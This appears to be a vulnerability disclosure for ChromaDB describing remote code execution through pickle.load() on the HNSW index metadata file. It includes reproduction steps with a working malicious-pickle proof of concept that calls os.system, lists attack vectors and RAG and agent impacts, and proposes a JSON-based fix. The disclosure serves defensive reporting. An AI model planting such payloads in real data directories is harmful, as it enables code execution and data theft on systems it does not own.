YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ChromaDB β€” RCE via pickle.load() on HNSW Index Metadata

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

High β€” pickle.load() on persistent HNSW index metadata file enables RCE if persist directory is writable.

Affected Code

File: chromadb/segment/impl/vector/local_persistent_hnsw.py Line: 75

class PersistentData:
    @staticmethod
    def load_from_file(filename: str) -> "PersistentData":
        """Load persistent data from a file"""
        with open(filename, "rb") as f:
            ret = cast(PersistentData, pickle.load(f))  # ← RCE if file is poisoned
            return ret

The file loaded is index_metadata.pickle in the ChromaDB persist directory (METADATA_FILE = "index_metadata.pickle").

Steps to Reproduce

  1. Create a ChromaDB collection with persistence enabled:
import chromadb
client = chromadb.PersistentClient(path="/tmp/chroma_test")
collection = client.create_collection("test")
collection.add(documents=["hello"], ids=["1"])
  1. Locate the persist directory and find index_metadata.pickle

  2. Replace it with a malicious pickle:

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/chromadb_pwned',))

with open("/tmp/chroma_test/<collection_id>/index_metadata.pickle", "wb") as f:
    pickle.dump(Exploit(), f)
  1. Restart ChromaDB or access the collection β€” PersistentLocalHnswSegment calls PersistentData.load_from_file() β†’ pickle.load() β†’ RCE

Attack Vectors

  • Shared filesystem: Multi-tenant environments where persist directory is on shared storage
  • Container escape: Attacker writes to mounted volume
  • Supply chain: Poisoned backup/snapshot of ChromaDB data
  • Path traversal: If any other vulnerability allows file write to the persist directory

AI Impact (10x Multiplier)

ChromaDB is the most popular vector database for RAG systems. Compromising the HNSW index enables:

  • RAG poisoning β€” attacker controls what documents the LLM retrieves
  • Data exfiltration β€” RCE gives access to all embedded documents
  • Agent takeover β€” when ChromaDB backs an AI agent's memory, RCE = full agent compromise

Suggested Fix

Replace pickle with a safe serialization format:

import json

@staticmethod
def load_from_file(filename: str) -> "PersistentData":
    with open(filename, "r") as f:
        data = json.load(f)
    return PersistentData(**data)

Invariant Violated

S16 (DeserializationGuard): Application MUST NOT use pickle.load on files from persistent/shared storage.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support